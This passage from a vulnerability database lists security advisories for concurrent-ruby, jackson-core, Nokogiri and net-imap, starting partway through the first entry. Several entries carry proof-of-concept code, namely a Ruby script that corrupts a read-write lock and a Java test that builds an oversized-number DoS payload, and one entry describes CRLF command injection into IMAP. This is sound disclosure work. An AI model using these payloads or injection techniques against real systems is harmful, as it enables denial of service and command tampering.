`RUNNING_WRITER` bit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer.\n\n`release_read_lock` unconditionally decrements the shared counter:\n\n```ruby\ndef release_read_lock\n while true\n c = @Counter.value\n if @Counter.compare_and_set(c, c-1)\n if waiting_writer?(c) \u0026\u0026 running_readers(c) == 1\n @WriteLock.signal\n end\n break\n end\n end\n true\nend\n```\n\nOn a fresh lock, this changes the counter from `0` to `-1`. A later `acquire_read_lock` raises `Concurrent::ResourceLimitError` because the maximum-reader check masks the negative counter as saturated.\n\n# Reproduce\n\nFrom the root of a `concurrent-ruby` checkout, run:\n\n```bash\nruby -Ilib/concurrent-ruby - \u003c\u003c\u0027RUBY\u0027\nrequire \u0027concurrent/atomic/read_write_lock\u0027\nrequire \u0027concurrent/version\u0027\nrequire \u0027thread\u0027\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=ReadWriteLock release methods corrupt or bypass lock state\"\n\nlock = Concurrent::ReadWriteLock.new\nevents = Queue.new\nwriter1_inside = false\n\nwriter1 = Thread.new do\n lock.acquire_write_lock\n writer1_inside = true\n events \u003c\u003c :writer1_acquired\n sleep 0.5\n writer1_inside = false\n lock.release_write_lock\n events \u003c\u003c :writer1_finished\nend\n\nevents.pop\nputs \u0027writer1_acquired=true\u0027\n\nintruder_result = nil\nintruder = Thread.new do\n intruder_result = lock.release_write_lock\nend\nintruder.join\n\nputs \"wrong_thread_release_write_lock_returned=#{intruder_result}\"\n\nwriter2_entered_while_writer1_inside = nil\nwriter2 = Thread.new do\n lock.acquire_write_lock\n writer2_entered_while_writer1_inside = writer1_inside\n lock.release_write_lock\nend\n\nwriter2.join(0.25)\n\nputs \"writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}\"\n\nwriter1.join\n\nlock2 = Concurrent::ReadWriteLock.new\nstray_read_release_result = lock2.release_read_lock\ncounter_after_stray_read_release = lock2.instance_eval { @Counter.value }\nread_after_stray_release = begin\n lock2.acquire_read_lock\n \u0027acquired\u0027\nrescue =\u003e error\n \"#{error.class}: #{error.message}\"\nend\n\nputs \"stray_release_read_lock_returned=#{stray_read_release_result}\"\nputs \"counter_after_stray_read_release=#{counter_after_stray_read_release}\"\nputs \"acquire_read_after_stray_release=#{read_after_stray_release}\"\n\nif intruder_result \u0026\u0026 writer2_entered_while_writer1_inside \u0026\u0026 counter_after_stray_read_release == -1\n puts \u0027result=REPRODUCED wrong-thread write release and stray read-release corruption\u0027\nelse\n puts \u0027result=NOT_REPRODUCED\u0027\nend\n```\nExpected result:\n\n- A second thread successfully calls `release_write_lock` while the first writer still holds the lock.\n- A second writer enters while the first writer is still inside the write critical section.\n- Calling `release_read_lock` on a fresh lock changes the counter to `-1`.\n- A subsequent read acquisition fails with `Concurrent::ResourceLimitError`.\n\n### Log evidence\n\nLocal reproduction output:\n\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=ReadWriteLock release methods corrupt or bypass lock state\nwriter1_acquired=true\nwrong_thread_release_write_lock_returned=true\nwriter2_acquired_while_writer1_inside=true\nstray_release_read_lock_returned=true\ncounter_after_stray_read_release=-1\nacquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads\nresult=REPRODUCED wrong-thread write release and stray read-release corruption\n```\n\n### Impact\nThis can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release.\nThe impact is local to applications that expose or misuse the manual `acquire_*` / `release_*` APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
"id": "GHSA-6wx8-w4f5-wwcr",
"modified": "2026-06-19T20:47:41Z",
"published": "2026-06-19T20:47:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-6wx8-w4f5-wwcr"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby-concurrency/concurrent-ruby"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Concurrent Ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption"
}
GHSA-72HV-8253-57QQ
Vulnerability from github – Published: 2026-02-28 02:01 – Updated: 2026-08-03 20:32Summary
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g.,
_finishNumberIntegralPart) accumulate digits into theTextBufferwithout any length checks. - After parsing, they call
_valueComplete(), which finalizes the token but does not callresetInt()orresetFloat(). - The
resetInt()/resetFloat()methods inParserBaseare where thevalidateIntegerLength()andvalidateFPLength()checks are performed. - Because this validation step is skipped, the
maxNumberLengthconstraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.5"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.15.0"
},
{
"fixed": "2.18.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-28T02:01:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n private static final int MAX_NUMBER_LENGTH = 1000;\n private static final int TEST_NUMBER_LENGTH = 5000;\n\n private final JsonFactory factory = new JsonFactory();\n\n // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n @Test\n void syncParserRejectsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n try {\n try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n }\n }\n }\n fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n } catch (StreamConstraintsException e) {\n System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n }\n }\n\n // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n @Test\n void asyncParserAcceptsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n NonBlockingByteArrayJsonParser p =\n (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n p.feedInput(payload, 0, payload.length);\n p.endOfInput();\n\n boolean foundNumber = false;\n try {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n foundNumber = true;\n String numberText = p.getText();\n assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n }\n }\n // Output to console\n System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n } catch (StreamConstraintsException e) {\n fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n }\n p.close();\n }\n\n private byte[] buildPayloadWithLongInteger(int numDigits) {\n StringBuilder sb = new StringBuilder(numDigits + 10);\n sb.append(\"{\\\"v\\\":\");\n for (int i = 0; i \u003c numDigits; i++) {\n sb.append((char) (\u00271\u0027 + (i % 9)));\n }\n sb.append(\u0027}\u0027);\n return sb.toString().getBytes(StandardCharsets.UTF_8);\n }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
"id": "GHSA-72hv-8253-57qq",
"modified": "2026-08-03T20:32:01Z",
"published": "2026-02-28T02:01:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1555"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}
GHSA-8678-W3JW-XFC2
Vulnerability from github – Published: 2026-06-19 16:36 – Updated: 2026-06-19 16:36Summary
The NONET parse option, which Nokogiri turns on by default for Nokogiri::XML::Schema (see CVE-2020-26247), was not correctly enforced on the JRuby implementation. As a result, a schema parsed with default options could still cause external resources to be fetched over the network, potentially enabling SSRF or XXE attacks.
Nokogiri 1.19.4 replaces the scheme denylist with an allowlist. When NONET is enabled, only local resources (a file: scheme, or a relative or absolute path with no scheme) are resolved, and every network scheme is blocked, case-insensitively. This brings the JRuby behavior in line with CRuby.
Only the JRuby implementation is affected. CRuby is not affected, because libxml2's xmlNoNetExternalEntityLoader blocks all network schemes at the I/O layer regardless of scheme or case.
Severity
The Nokogiri maintainers have evaluated this as low severity (CVSS 2.6, CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N). It is a bypass of CVE-2020-26247, which was scored the same way.
Mitigation
Upgrade to Nokogiri 1.19.4 or later.
There are no known workarounds for affected versions.
This change properly enforces NONET on JRuby, which is a breaking change for any code that (perhaps unknowingly) relied on the previous behavior to load network resources with default parse options. If you trust your input and want to allow external resources to be accessed over the network, you can explicitly disable NONET, exactly as documented for CVE-2020-26247:
- Ensure the input is trusted. Do not enable this option for untrusted input.
- Pass a
Nokogiri::XML::ParseOptionswith theNONETflag turned off:
# allows resources to be accessed over the network for trusted input
schema = Nokogiri::XML::Schema.new(trusted_schema, Nokogiri::XML::ParseOptions.new.nononet)
References
- Bypass of: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-vr8q-g5c7-m54m
Credit
This issue was responsibly reported by @bilerden.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "nokogiri"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-184",
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T16:36:11Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nThe `NONET` parse option, which Nokogiri turns on by default for `Nokogiri::XML::Schema` (see [CVE-2020-26247](https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-vr8q-g5c7-m54m)), was not correctly enforced on the JRuby implementation. As a result, a schema parsed with default options could still cause external resources to be fetched over the network, potentially enabling SSRF or XXE attacks.\n\nNokogiri 1.19.4 replaces the scheme denylist with an allowlist. When `NONET` is enabled, only local resources (a `file:` scheme, or a relative or absolute path with no scheme) are resolved, and every network scheme is blocked, case-insensitively. This brings the JRuby behavior in line with CRuby.\n\nOnly the JRuby implementation is affected. CRuby is not affected, because libxml2\u0027s `xmlNoNetExternalEntityLoader` blocks all network schemes at the I/O layer regardless of scheme or case.\n\n### Severity\n\nThe Nokogiri maintainers have evaluated this as low severity (CVSS 2.6, `CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N`). It is a bypass of CVE-2020-26247, which was scored the same way.\n\n### Mitigation\n\nUpgrade to Nokogiri 1.19.4 or later.\n\nThere are no known workarounds for affected versions.\n\nThis change properly enforces `NONET` on JRuby, which is a breaking change for any code that (perhaps unknowingly) relied on the previous behavior to load network resources with default parse options. If you trust your input and want to allow external resources to be accessed over the network, you can explicitly disable `NONET`, exactly as documented for CVE-2020-26247:\n\n1. Ensure the input is trusted. Do not enable this option for untrusted input.\n2. Pass a `Nokogiri::XML::ParseOptions` with the `NONET` flag turned off:\n\n``` ruby\n# allows resources to be accessed over the network for trusted input\nschema = Nokogiri::XML::Schema.new(trusted_schema, Nokogiri::XML::ParseOptions.new.nononet)\n```\n\n### References\n\n- Bypass of: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-vr8q-g5c7-m54m\n\n### Credit\n\nThis issue was responsibly reported by @bilerden.",
"id": "GHSA-8678-w3jw-xfc2",
"modified": "2026-06-19T16:36:11Z",
"published": "2026-06-19T16:36:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-8678-w3jw-xfc2"
},
{
"type": "PACKAGE",
"url": "https://github.com/sparklemotion/nokogiri"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nokogiri: XML::Schema on JRuby allows network requests when NONET is set, bypassing CVE-2020-26247"
}
GHSA-8P34-64R3-MWG8
Vulnerability from github – Published: 2026-06-09 18:36 – Updated: 2026-07-06 22:53Several Net::IMAP commands accept a "raw data" argument that is sent verbatim after validation to prevent command injection. However, if a server does not support non-synchronizing literals, it may still be possible to inject arbitrary IMAP commands inside non-synchronizing literals.
Details
Raw data arguments support embedded literal values, both synchronizing and non-synchronizing. Non-synchronizing literals can only be safely sent when the server advertises any of the LITERAL+, LITERAL-, or IMAP4rev2 capabilities. But raw data arguments do not verify server support for non-synchronizing literals prior to sending.
Servers without support for non-synchronizing literals could handle them in several different ways: If a server sees a "}\r\n" byte sequence but can't parse the literal bytesize, it may cautiously decide to close the connection, blocking any command injection attacks. However, a server without support for non-synchronizing literals may instead interpret the "+}\r\n" as the end of a malformed command line and respond with a tagged BAD. In that case, the contents of the literal will be interpreted as one or more new pipelined commands, allowing a CRLF command injection attack to succeed.
This affects the following commands' string arguments:
* criteria for #search and #uid_search
* search_keys for #sort, #thread, #uid_sort, and #uid_thread
* attr for #fetch and #uid_fetch
Prior to net-imap v0.6.4, v0.5.14, and v0.4.24, raw data arguments were not validated in any way, so they were also vulnerable to this attack. See CVE-2026-42257 (GHSA-hm49-wcqc-g2xg).
Impact
Fortunately, LITERAL- is supported by most modern IMAP servers. Even without support for non-synchronizing literals, cautious servers may handle invalid literal bytesize by closing the connection . However, servers which handle a non-synchronizing literal just like any other malformed command will enable this vulnerability.
If a developer passes an unvalidated user-controlled input for one of these method arguments, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.
Mitigation
Update to a version of net-imap which validates server support for non-synchronizing literals before sending them.
If upgrading net-imap is not possible:
* Explicitly validate user-controlled inputs to prevent embedded non-synchronizing literals unless the server supports them.
* For a simpler, more cautious approach: all embedded literals can be unconditionally prohibited, by checking that string inputs do not contain any CR or LF bytes.
* Verify that the server advertises any of the LITERAL+, LITERAL-, or IMAP4rev2 capabilities before using untrusted string inputs for the affected "raw data" arguments.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.4"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "0.6.4.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.14"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47240"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-09T18:36:04Z",
"nvd_published_at": "2026-06-22T21:16:24Z",
"severity": "MODERATE"
},
"details": "Several Net::IMAP commands accept a \"raw data\" argument that is sent verbatim after validation to prevent command injection. However, if a server does not support non-synchronizing literals, it may still be possible to inject arbitrary IMAP commands inside non-synchronizing literals.\n\n### Details\n\nRaw data arguments support embedded literal values, both synchronizing and non-synchronizing. Non-synchronizing literals can only be safely sent when the server advertises any of the `LITERAL+`, `LITERAL-`, or `IMAP4rev2` capabilities. But raw data arguments do not verify server support for non-synchronizing literals prior to sending.\n\nServers without support for non-synchronizing literals could handle them in several different ways: If a server sees a `\"}\\r\\n\"` byte sequence but can\u0027t parse the literal bytesize, it _may_ cautiously decide to close the connection, blocking any command injection attacks. However, a server without support for non-synchronizing literals may instead interpret the `\"+}\\r\\n\"` as the end of a malformed command line and respond with a tagged `BAD`. In that case, the contents of the literal will be interpreted as one or more new pipelined commands, allowing a CRLF command injection attack to succeed.\n\nThis affects the following commands\u0027 string arguments:\n* `criteria` for `#search` and `#uid_search`\n* `search_keys` for `#sort`, `#thread`, `#uid_sort`, and `#uid_thread`\n* `attr` for `#fetch` and `#uid_fetch`\n\nPrior to `net-imap` v0.6.4, v0.5.14, and v0.4.24, raw data arguments were not validated in _any_ way, so they were also vulnerable to this attack. See CVE-2026-42257 (GHSA-hm49-wcqc-g2xg).\n\n### Impact\n\nFortunately, `LITERAL-` is supported by most modern IMAP servers. Even without support for non-synchronizing literals, cautious servers may handle invalid literal bytesize by closing the connection . However, servers which handle a non-synchronizing literal just like any other malformed command will enable this vulnerability.\n\nIf a developer passes an unvalidated user-controlled input for one of these method arguments, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system\u0027s attributes, e.g.: shared mail folders or the application\u0027s installed response handlers.\n\n### Mitigation\n\nUpdate to a version of `net-imap` which validates server support for non-synchronizing literals before sending them.\n\nIf upgrading `net-imap` is not possible:\n* Explicitly validate user-controlled inputs to prevent embedded non-synchronizing literals unless the server supports them.\n* For a simpler, more cautious approach: all embedded literals can be unconditionally prohibited, by checking that string inputs do not contain any CR or LF bytes.\n* Verify that the server advertises any of the `LITERAL+`, `LITERAL-`, or `IMAP4rev2` capabilities before using untrusted string inputs for the affected \"raw data\" arguments.",
"id": "GHSA-8p34-64r3-mwg8",
"modified": "2026-07-06T22:53:42Z",
"published": "2026-06-09T18:36:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-8p34-64r3-mwg8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47240"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/net-imap"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4.1"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2026-47240.yml"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47240"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Net::IMAP: Command Injection via non-synchronizing literal in \"raw\" argument"
}
GHSA-9CV2-CFXC-V4V2
Vulnerability from github – Published: 2026-06-19 16:36 – Updated: 2026-06-19 16:36Summary
Nokogiri contains a bug when calling certain methods on allocated-but-uninitialized native wrapper classes that inherit from Nokogiri::XML::Node. This caused a NULL pointer dereference that could crash the process.
Nokogiri 1.19.4 checks for missing native data pointers and raises a RuntimeError.
JRuby is not affected.
Severity
The Nokogiri maintainers have evaluated this as low severity. This is only triggered by a programming error. It requires application code to call .allocate directly on a native-backed class and then invoke methods on the resulting uninitialized object. It cannot be triggered by untrusted input or through normal use of the public API.
Mitigation
Upgrade to Nokogiri 1.19.4 or later.
Avoid calling .allocate directly on Nokogiri native-backed classes. Use the documented constructors and factory methods instead.
Credit
This issue was responsibly reported by Zheng Yu from depthfirst.com.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "nokogiri"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T16:36:23Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nNokogiri contains a bug when calling certain methods on allocated-but-uninitialized native wrapper classes that inherit from `Nokogiri::XML::Node`. This caused a NULL pointer dereference that could crash the process.\n\nNokogiri 1.19.4 checks for missing native data pointers and raises a `RuntimeError`.\n\nJRuby is not affected.\n\n### Severity\n\nThe Nokogiri maintainers have evaluated this as low severity. This is only triggered by a programming error. It requires application code to call `.allocate` directly on a native-backed class and then invoke methods on the resulting uninitialized object. It cannot be triggered by untrusted input or through normal use of the public API.\n\n### Mitigation\n\nUpgrade to Nokogiri 1.19.4 or later.\n\nAvoid calling `.allocate` directly on Nokogiri native-backed classes. Use the documented constructors and factory methods instead.\n\n### Credit\n\nThis issue was responsibly reported by Zheng Yu from depthfirst.com.",
"id": "GHSA-9cv2-cfxc-v4v2",
"modified": "2026-06-19T16:36:23Z",
"published": "2026-06-19T16:36:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-9cv2-cfxc-v4v2"
},
{
"type": "PACKAGE",
"url": "https://github.com/sparklemotion/nokogiri"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Nokogiri: Null Pointer Dereference calling methods on uninitialized wrapper classes"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
